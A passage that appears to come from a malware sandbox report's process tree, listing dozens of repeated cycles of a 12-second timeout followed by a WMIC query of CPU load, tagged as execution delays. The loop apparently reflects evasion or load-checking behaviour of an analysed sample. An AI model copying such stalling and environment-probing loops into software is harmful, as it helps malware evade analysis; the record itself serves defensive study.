C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3736
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1368
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4544
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3668
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4704
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2652
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2780
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2696
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2864
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2416
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3068
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2564
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2028
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4736
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2052
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4976
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1560
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2192
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1592
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2424
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3944
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:472
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5092
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3828
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1340
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5088
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2220
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2008
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2332
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2968
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2512
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1836
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5072
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4888
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4932
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3408
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1636
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1116
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1984
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2520
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3824
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3704
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3444
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2312
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4240
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4564
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:760
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3484
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3768
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3376
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1888
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:968
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4484
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4680
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3448
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:548
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4972
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3500
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1200
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1212
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2024
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:976
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1340
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4272
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1384
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5088
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4172
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3804
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:72
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1332
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1464
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2640
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2292
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2676
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3928
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2568
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4492
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4904
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2544
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1764
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1308
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2120
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1488
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1648
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2052
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4892
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3160
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3400
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4708
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2100
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4572
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3216
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2604
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4884
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4612
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3712
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3640
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4436
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3084
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1596
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4232
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:248
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:436
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1336
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4576
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3828
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2068
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:228
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1044
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2488
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3036
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3804
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:652
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2900
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2724
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1832
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1528
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2512
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1520
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2232
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5044
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3232
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1636
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4676
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3928
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2616
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2212
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2028
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4128
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1420
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3940
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1016
-
-
